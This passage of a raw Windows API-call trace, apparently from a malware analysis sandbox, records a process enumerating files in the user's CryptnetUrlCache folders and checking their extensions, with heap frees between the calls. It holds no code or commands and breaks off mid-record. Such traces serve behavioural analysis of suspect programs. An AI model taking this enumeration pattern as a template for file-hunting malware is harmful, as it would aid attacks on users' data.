dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.380] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe06277d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe06277d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xb15d94e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", cAlternateFileName="9C888B~1")) returned 1 [0127.381] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E") returned="" [0127.381] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.381] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe07ca6f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe07ca6f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x965accc0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", cAlternateFileName="9C888B~2")) returned 1 [0127.381] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned="" [0127.381] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.381] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54bc3730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54bc3730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb11d4fc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", cAlternateFileName="A9E4F7~1")) returned 1 [0127.381] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned="" [0127.381] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.381] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bfe570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bfe570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe9b34f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", cAlternateFileName="ACF244~1")) returned 1 [0127.381] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned="" [0127.381] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.381] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe04aaa10, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe04aaa10, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xae4e7080, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", cAlternateFileName="B3BB9C~2")) returned 1 [0127.381] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned="" [0127.381] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.381] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefc01b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefc01b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaa4ee1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x652, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", cAlternateFileName="B3BB9C~1")) returned 1 [0127.381] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned="" [0127.381] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.381] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54322770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54322770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", cAlternateFileName="BC570E~2")) returned 1 [0127.381] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned="" [0127.381] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.381] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x5ed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", cAlternateFileName="BC570E~1")) returned 1 [0127.381] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned="" [0127.381] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.381] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x56bb3b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x56bb3b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaeca3800, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", cAlternateFileName="C46E7B~2")) returned 1 [0127.381] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned="" [0127.381] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.381] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x682fbd00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x682fbd00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae0bca00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", cAlternateFileName="C46E7B~3")) returned 1 [0127.382] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned="" [0127.382] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.382] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5461c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5461c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf67eb30, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x6e3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", cAlternateFileName="C46E7B~1")) returned 1 [0127.382] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned="" [0127.382] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.382] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x728c68a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x728c68a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xae63dce0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", cAlternateFileName="D47DBD~2")) returned 1 [0127.382] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned="" [0127.382] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.382] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x545f6190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x545f6190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69b6e1e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x5ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", cAlternateFileName="D47DBD~1")) returned 1 [0127.382] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned="" [0127.382] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.382] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x808d4a70, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x808d4a70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x808d4a70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x663, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", cAlternateFileName="D52C56~1")) returned 1 [0127.382] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned="" [0127.382] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.382] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x683e0540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x683e0540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f015a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x64b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", cAlternateFileName="EA6180~1")) returned 1 [0127.382] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned="" [0127.382] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.382] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf312b90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf312b90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf312b90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x64c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", cAlternateFileName="F293AE~1")) returned 1 [0127.382] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned="" [0127.382] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.382] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 1 [0127.382] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\F90F18257CBB4D84216AC1E1F3BB2C76") returned="" [0127.382] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3068fd8 | out: hHeap=0x5c0000) returned 1 [0127.382] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 0 [0127.382] FindClose (in: hFindFile=0x306c8a0 | out: hFindFile=0x306c8a0) returned 1 [0127.383] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3037fd0 | out: hHeap=0x5c0000) returned 1 [0127.383] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e388 | out: hHeap=0x5c0000) returned 1 [0127.383] PeekMessageW (in: lpMsg=0x398ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398ff08) returned 0 [0127.383] PeekMessageW (in: lpMsg=0x398fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x398fb74) returned 0 [0127.383] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\") returned="MetaData\\" [0127.384] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\") returned="CryptnetUrlCache\\" [0127.384] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0127.384] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0127.384] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0127.384] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0127.384] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0127.384] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0127.384] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0127.384] PathFindFileNameW (pszPath="") returned="" [0127.384] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0127.386] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x300e4f8 | out: hHeap=0x5c0000) returned 1 [0127.386] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0127.387] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf9eaad0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf9eaad0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf9eaad0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cAlternateFileName="024823~1")) returned 1 [0127.387] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B") returned="" [0127.387] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.387] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bd8410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bd8410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe98d390, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", cAlternateFileName="0F1583~1")) returned 1 [0127.387] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875") returned="" [0127.387] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.387] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf952550, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf952550, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf952550, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", cAlternateFileName="1BB09B~1")) returned 1 [0127.387] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973") returned="" [0127.388] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3098bf8 | out: hHeap=0x5c0000) returned 1 [0127.388] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x4c00edb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4c00edb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4c00edb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1DAF2884EC4DFA96BA4A58D4DBC9C406", cAlternateFileName="1DAF28~1")) returned 1 [0127.388] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\1DAF2884EC4DFA96BA4A58D4DBC9C406") returned="" [0127.388] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3068fd8 | out: hHeap=0x5c0000) returned 1 [0127.388] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x580eb5c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x580eb5c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaedd4300, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x124, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="23B523C9E7746F715D33C6527C18EB9D", cAlternateFileName="23B523~1")) returned 1 [0127.388] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\23B523C9E7746F715D33C6527C18EB9D") returned="" [0127.388] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3068fd8 | out: hHeap=0x5c0000) returned 1 [0127.388] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xc3791460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc3791460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc3791460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3130B1871A126520A8C47861EFE3ED4D", cAlternateFileName="3130B1~1")) returned 1 [0127.388] PathFindExtensionW 